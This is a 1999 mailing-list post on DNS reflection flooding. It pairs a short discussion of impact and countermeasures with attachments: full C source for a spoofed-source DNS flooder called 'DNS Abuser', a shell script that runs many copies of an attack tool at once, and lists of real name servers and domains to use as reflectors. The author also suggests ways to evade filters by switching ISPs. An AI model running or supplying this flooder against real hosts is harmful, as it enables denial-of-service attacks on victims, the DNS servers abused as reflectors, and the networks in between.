Date: Tue, 10 Aug 1999 17:59:57 +0200
From: Carlos Veira <[email protected]>
To: [email protected]Subject: Possible Denial Of Service using DNS
This is a multi-part message in MIME format.
------=_NextPart_000_0018_01BEE35A.297221E0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Hi,
I must admit that I have been really surprised seeing people's
'reaction'
on this particular matter. We are used to see really good debates when
something 'c00l' comes up to the scene... But this time, nothing: no
code review, no debate about possible solutions, ... :?.
FuSyS & sacco's message, was very interesting indeed. I, honestly,
don't
know if this has been known for a long time, despite its simplicity...
But what really matters is that this is a very hard to close gate...
Looking at the code i realized it was not very useful for auditing
purposes, so I decided to add some functionality and fix some
implementation problems which made the source compile but failing to
work nicely.
I. Description:
===============
This is a quick list of what has been added/modified to the original
code:
1. Ability of managing a variable and different number of name
servers
and querys.
2. Ability of taking input data from text files.
3. Added some fixes to the flood engine.
4. Ability of controlling the times to be executed.
5. Added some 'paralell processing' features.
There still remain some things to be improved, but they are far long
from
my original aims when I started this work. I might suggest the
following
enhancements:
It's somehow necessary to add some simple memory management. The
current
version works with a buffer which can manage MAX_SEVERS entries. There
are no memory management at all. That means that, when reading a file,
only the first MAX_SERVERS are considered. If we want to extend this
to
larger files this is to be added.
Another improvement would be to enhance the hash function in order to
get a
more uniform statistic distribution. This would carry out a better
'paralell' performance.
This 'paralell' feature trys to query different name servers with
different
questions at the same time. Such a thing would avoid some lame filters
and
make the attack more distributable among the whole DNS servers.
To work out this feature, the flooder begins in a different point
depending
on its PID. Given this situation, one can fork diferent processes from
de
command line and each of them will perform a different action in a
certain
moment. Of course more complex and efficient solutions could be worked
out,
but, once again, they are far long from my initial aims.
As it can be watched, such attack can be as powerful (or even better)
as
smurf or fraggle. Think this is more flexible and owns a grater degree
of
distribution. Let's put some evil imagination in motion... ;P
II. Impact:
===========
First of all, some notes:
1. We are talking about UDP traffic. That means that there's no
connection.
2. We also must consider that the victim will recive packets with
different
sources (IPs and ports).
3. We must remember that DNS is a critical service in the Internet:
almost every service depend on it in a different degree.
4. DNS can be reached from any place on the Internet: there is no
restriction.
Let's consider a couple of scenarios. If the target is not shielded by
a
firewall, the effect of this attack is obvious: the host is flooded to
dead. So, what happend in a filtered environment? If the firewall uses
content inspection techniques, should drop all this traffic (these are
valid answers but no query has been performed on the protected
network).
In this case, the affected host will be the firewall. This is even
more
worrying than the first case because firewalls are esential devices on
network conectivity. If the firewall fails, all the network fails
(from
a conectivity point of view, of course).
We must remember that a firewall is more vulnerable to this kind of
overloads. To the *physical* traffic flooding itself, we have to add
the following :
a. A firewall must perform a rule check for each I/O traffic. That
means
some load.
b. The logging process on the firewall means added load, mainly I/O
load
through disk.
An encreasing number of DNS servers means a proportional raise on the
distribution degree this attack has. So, to bring a big firewall to
its
knees we only need to take a grate list of DNS servers.
The obvious side effect of such situation is a traffic overload on the
network segments on the way to the target. Using network switches
would
help to limit this annoying side effect.
III. Possible solutions:
a. Source IP filtering & Bandwith control:
---------------------------------------
a.1 Source IP filtering:
This may be one the most effective measures. By giving this type
of
rule to routers, we *limit* the IP spoofing possibilities: such
rule
would only allow traffic to pass over a network interface if the
source IP belongs to a valid range on that interface.
a.2 Bandwith control:
Giving an I/O rate to DNS traffic could *help* too. This would
stop a
flood based on a few DNS servers been queried intensively.
Nevertheless, it is not very useful to the target network when
hitted
by a highly distributed DNS flood. The reasons are the same ones
given
in the case of the firewall. In this case the damaged system would
be
the router itself.
a.3 Problems:
Source IP filtering it's great but it needs to be implemented on
every
routing device on the Internet. If there's a place wich allows IP
spoofing, the risk remains there.
Unfortunately, IP filtering could not be necessary on some cases.
Let's
see: besides the flooding effect, we get a global network
overload. If
we also consider that today it's pretty common having more than
one PPP
Internet access... So, we've got it...
So it seems easy to log into an ISP perform the attack using a
valid
ISP IP as the source, then disconnect and log in again with other
ISP
while the other is being nuked by thousands of DNS servers on the
Internet...
The success on the choice of the valid ISP IP address depends on
the
ISP network architecture and its *internal* filters.
b. DNS over TCP:
-------------
This may be *THE* solution. TCP architecture would make
'impossible' to
achieve a successful query to a DNS server. Let's see:
1. A connection is to be completed in order to perform a query.
2. There exists connection control.
On the 'best' case the target would be SYN+ACK flooded by thousands
of
name servers on the Internet. But now we are not *amplifying* the
traffic because no query response is given at all.
But, is this a real possibility? Well reading the RFCs, the answer
is
"YES, BUT...". Let's see:
* RFC1034 ("DOMAIN NAMES - CONCEPTS AND FACILITIES") says:
"In the Internet, queries are carried in UDP datagrams or over
TCP connections."
* RFC1035 ("DOMAIN NAMES - IMPLEMENTATION AND SPECIFICATION") says:
"The DNS assumes that messages will be transmitted as datagrams
or in
a byte stream carried by a virtual circuit. While virtual
circuits
can be used for any DNS activity, datagrams are preferred for
queries
due to their lower overhead and better performance. Zone
refresh
activities must use virtual circuits because of the need for
reliable
transfer."
So it seems that DNS querys can use TCP. BUT what we need is the
server
FORCING the use of TCP. It *seems* we could force this by editing
the
file "/etc/services" and commenting or deleting the UDP entry:
whois 43/tcp nicname # usually to
sri-nic
domain 53/tcp
> #domain 53/udp
mtp 57/tcp # deprecated
This way, both the *local* name server and *local* resolver would
use
TCP on its domain name related tasks... This means that *local*
querys
would work over TCP.
The problem comes up, when an standard remote client querys a
'TCP-forced' system. What happens when such a client starts an UDP
query to a TCP service? Is it able to detect it and restart the
process
using TCP?
Unfortunately, I could not found any kind of information on this
matter.
It seems to me that this is an unspecified case. It seems that UDP
& TCP
are treated as separete worlds... I think that, in the best case,
this
will depend on vendor implementation, and not as an standard
behaviour.
b.1 Problems:
Carrying DNS completely over TCP has serious load and performance
problems. They are important enough to consider them with the
suitable
calm.
Besides that, we have de UDP/TCP interoperation problem mentioned
before. This would imply reconfiguring or patching all the DNS
servers
*and clients* in the world, among other things... So it 'seems'
that it
is not practical approach. ;P
Perhaps, It may be interesting a review or a new generation of the
standard. I, honestly, ignore if this it's being done. Anyway,
given
what we have today it's *the* long term solution, isn't it? ;P.
In the meanwhile, we are vulnerable: the open systems world, not
always
is perfect... ;P
Carlos Veira Lorenzo
-=o0o0o=-
Servicios Internet
Airtel MСvil S.A.
-----BEGIN PGP SIGNATURE-----
Version: PGP 6.0.2
iQA/AwUBN7A+aEj/CaVXSZKlEQKIOACdF74Y7bo4BSrEL6Fw9z+EMwEziSgAnRpu
QlIZlBhOGgaz/TnUFTn/PzHn
=qc06
-----END PGP SIGNATURE-----
------=_NextPart_000_0018_01BEE35A.297221E0
Content-Type: application/octet-stream;
name="dnsabuser.c"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
filename="dnsabuser.c"
/*
* DNS Abuser v0.4b
*
* Author: Nemo ([email protected])
* http://www.deepzone.org
*
* This code is a little enhancement based on DOOMDNS by FuSyS & =
|scacco|
* http://www.www.s0ftpj.org
*
* Usage: dnsa <target>
* dnsa <target> <times> [<dns_servers.txt> <querys.txt>]
*
*/
=20
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <time.h>
#define IP_HEAD_BASE 20
#define UDP_HEAD_BASE 8
#define DEF_TIMES 1000
#define DNS_QSIZE 255
#define MAX_QUERYS 25 // maximum buffer size
#define MAX_SERVERS 25 // maximum buffer size
#define CNAME_LENGTH 255 // max CNAME length
#define DEF_DOMAINS "./domains.txt" // domain list file
#define DEF_QUERYS "./querys.txt" // query list file
struct DNS_MSG {
HEADER head;
char query[DNS_QSIZE];
};
struct dns_pkt {
struct iphdr ip;
struct udphdr udp;
char data[1000];
};
struct domain_buff {
int used;
char cname[CNAME_LENGTH];
};
typedef struct domain_buff tdbuff;
tdbuff dnsquery[MAX_QUERYS];
tdbuff domains[MAX_SERVERS];
unsigned long saddr;
int sd, dptr, qptr; // socket & array pointers
FILE *dd, *qd; // file pointers
int startptr(tdbuff *buff, int buff_limit) // hash function
{
int init =3D 0;
=20
init =3D getpid() % buff_limit;
=20
while (!buff[init].used)
{
if (++init > buff_limit) init =3D 0;
}
=20
return init;
}
void rst_buff(tdbuff *b, int max)
{
memset(b, 0, sizeof(tdbuff)*max);
}
void readln(FILE *f, tdbuff *buff)
{
int eol =3D 0,
i =3D 0;
tdbuff b;
=20
rst_buff(&b, 1);
do
{
b.cname[i] =3D fgetc(f);
=20
if (!ferror(f))
{
if (!feof(f))
{ =09
if (b.cname[i] =3D=3D '\n')
{
b.cname[i] =3D '\0';
b.used =3D 1;
eol =3D 1;
}
else if ((i+1) >=3D CNAME_LENGTH)
{
fprintf(stderr, "\nInvalid CNAME or invalid file format. =
Quitting...\n");
exit(7);
}
else
{
i++;
}
}
else
{
if (b.cname[i] =3D=3D '\n')
{
b.cname[i] =3D '\0';
b.used =3D 1;
} =20
}
}
else
{
fprintf(stderr, "\nRead error. Quitting...\n");
exit(6);
}
}
while ((!ferror(f) && !feof(f)) && !eol);
=20
if (!ferror(f) && !feof(f)) *buff =3D b;
}
unsigned long nameResolve(char *hostname)
{
struct in_addr addr;
struct hostent *hostEnt;
if ((inet_aton(hostname, &addr)) =3D=3D 0)=20
{
if (!(hostEnt=3Dgethostbyname(hostname)))
{
fprintf(stderr,"\nTarget '%s' does not exist\n",hostname);
exit(0);
}
bcopy(hostEnt->h_name,(char *)&addr.s_addr,hostEnt->h_length);
}
return addr.s_addr;
}
void forge (unsigned long daddr, unsigned short psrc, unsigned short =
pdst)
{
struct sockaddr_in sin;
struct dns_pkt dpk;
struct DNS_MSG killer;
int shoot, len;
// adjust pointer ...
if (qptr < MAX_QUERYS)
{
if(!dnsquery[dptr].used) qptr++;
}
else
{
qptr =3D 0;
}
dnsquery[qptr].used =3D 1;
=20
// build packets ...
memset(&killer, 0, sizeof(killer));
=09
killer.head.id =3D getpid();
killer.head.rd =3D 1;
killer.head.aa =3D 0;
killer.head.opcode =3D QUERY;
killer.head.qr =3D 0;
killer.head.qdcount =3D htons(1);
killer.head.ancount =3D htons(0);
killer.head.nscount =3D htons(0);
killer.head.arcount =3D htons(0);
strcat(killer.query, dnsquery[qptr].cname);
killer.query[strlen(dnsquery[qptr].cname) + 2] =3D 0x00FF;
killer.query[strlen(dnsquery[qptr].cname) + 4] =3D 0x0001;
memset(&dpk, 0, sizeof(dpk));
dpk.udp.source =3D psrc;
dpk.udp.dest =3D pdst;
len =3D (12 + strlen(killer.query) + 5);
dpk.udp.len =3D htons(UDP_HEAD_BASE + len);
memcpy(dpk.data, (void*)&killer, len);
dpk.ip.ihl =3D 5;
dpk.ip.version =3D 4;
dpk.ip.tos =3D 0;
dpk.ip.tot_len =3D htons(IP_HEAD_BASE+UDP_HEAD_BASE+len);
dpk.ip.frag_off =3D 0;
dpk.ip.ttl =3D 64;
dpk.ip.protocol =3D IPPROTO_UDP;
dpk.ip.saddr =3D saddr;
dpk.ip.daddr =3D daddr;
memset(&sin, 0, sizeof(sin));
=09
sin.sin_family =3D AF_INET;
sin.sin_port =3D pdst;
sin.sin_addr.s_addr =3D daddr;
shoot =3D sendto(sd ,
&dpk ,
(IP_HEAD_BASE + UDP_HEAD_BASE + len),
0 ,
(struct sockaddr *)&sin ,
sizeof(sin)
);
=20
if (shoot < 0) fprintf(stderr, "SPOOF ERROR");
}
void doomzone (void)
{
unsigned long daddr;
unsigned short psrc, pdest;
=20
// adjust pointer ... =20
if (dptr < MAX_SERVERS)
{
if(!domains[dptr].used) dptr++;
}
else
{
dptr =3D 0;
}
domains[dptr].used =3D 1;
=20
daddr =3D nameResolve(domains[dptr].cname);
=09
psrc =3D htons(1024 + (rand()%2000));
pdest =3D htons(53);
=09
forge(daddr, psrc, pdest);
}
int main (int argc, char *argv[])
{
int i, sd_opt, code;
unsigned int times =3D DEF_TIMES;
printf("\n\n\033[1;32mDNS Abuser v0.4b\033[0m");
printf("\n\033[1;34mDNS-based flooder by Nemo - =
http://www.deepzone.org\033[0m");
printf("\n\033[1;34mBased on FuSyS & |scacco| work: D00MDNS - =
http://www.s0ftpj.org\033[0m\n");
=09
=09
// ->simple<- parameter checking :P
if (argc < 2)
{
fprintf(stderr, "\nUsage: %s <target>", argv[0]);
fprintf(stderr, "\n %s <target> <times> [<dns_servers.txt> =
<querys.txt>]\n\n", argv[0]);
exit(0);
}
saddr =3D nameResolve(argv[1]);
if (argc > 2) times =3D atoi(argv[2]);
=20
// loading files
if (argc > 3)
{
if ((dd =3D fopen(argv[4], "r")) =3D=3D NULL)
{
fprintf(stderr, "\nCannot open domain file. Quitting...\n");
exit(4);
}
=20
if ((qd =3D fopen(argv[5], "r")) =3D=3D NULL)
{
fprintf(stderr, "\nCannot open query file. Quitting...\n");
exit(5);
}
}
else
{
if((dd =3D fopen(DEF_DOMAINS, "r")) =3D=3D NULL)
{
fprintf(stderr, "\nCannot open domain file. Quitting...\n");
exit(4);
}
=20
if((qd =3D fopen(DEF_QUERYS, "r")) =3D=3D NULL)
{
fprintf(stderr, "\nCannot open query file. Quitting...\n");
exit(5);
}
}
rst_buff(domains, MAX_SERVERS);
rst_buff(dnsquery, MAX_QUERYS);
=20
i =3D 0;
do
{
readln(dd, &domains[i]);
i++;
}
while ((i < MAX_SERVERS) && !feof(dd));
i =3D 0;
do
{
readln(qd, &dnsquery[i]);
i++;
}
while ((i < MAX_QUERYS) && !feof(qd));
=20
=20
// opening sockets ...
srand(time(NULL));
sd_opt =3D 1;
=20
if ((sd =3D socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
fprintf(stderr, "\nSocket error. Quitting...\n");
exit(2);
}
=20
if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, &sd_opt, sizeof(sd_opt)) < =
0)
{
fprintf(stderr, "\nIP Error. Quitting...\n");
exit(3);
}
=20
dptr =3D startptr(domains, MAX_SERVERS);
qptr =3D startptr(dnsquery, MAX_QUERYS);
=09
// flooding engine
printf("\n\033[1;34mFlooding %s:\033[0m\n", argv[1]);
while(times--)
{
doomzone();
printf("\033[1;34m.\033[0m");
}
=09
printf("\n\n");
=20
fclose(dd);
fclose(qd);
=20
return(0);
}
------=_NextPart_000_0018_01BEE35A.297221E0
Content-Type: application/octet-stream;
name="xn.sh"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
filename="xn.sh"
#!/bin/bash
#
# xNuke v0.1b - *nix DoS amplifier
#
# Author: Nemo ([email protected])
# DeepZone Digital Security - http://www.deepzone.org
#
# Usage: xn <instances> <app> <target> [other_parameters]
#
echo
echo "xNuke v0.1b - *nix DoS amplifier."
echo
n=$1
while [ -n "$n" ]; do
$2 $3 $4 $5 $6 > /dev/null &
n=n-1
done
------=_NextPart_000_0018_01BEE35A.297221E0
Content-Type: text/plain;
name="querys.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
filename="querys.txt"
www.microsoft.com
www.novell.com
www.nrg.be
www.ldg.be
www.mir.es
www.hispasec.com
www.securityfocus.com
www.geocities.com
www.tripod.com
www.hypermart.net
------=_NextPart_000_0018_01BEE35A.297221E0
Content-Type: text/plain;
name="domains.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
filename="domains.txt"
ns1.allinfosys.com
ns2.allinfosys.com
ns.uu.net
dns.ncsa.es
dns2.ncsa.es
------=_NextPart_000_0018_01BEE35A.297221E0--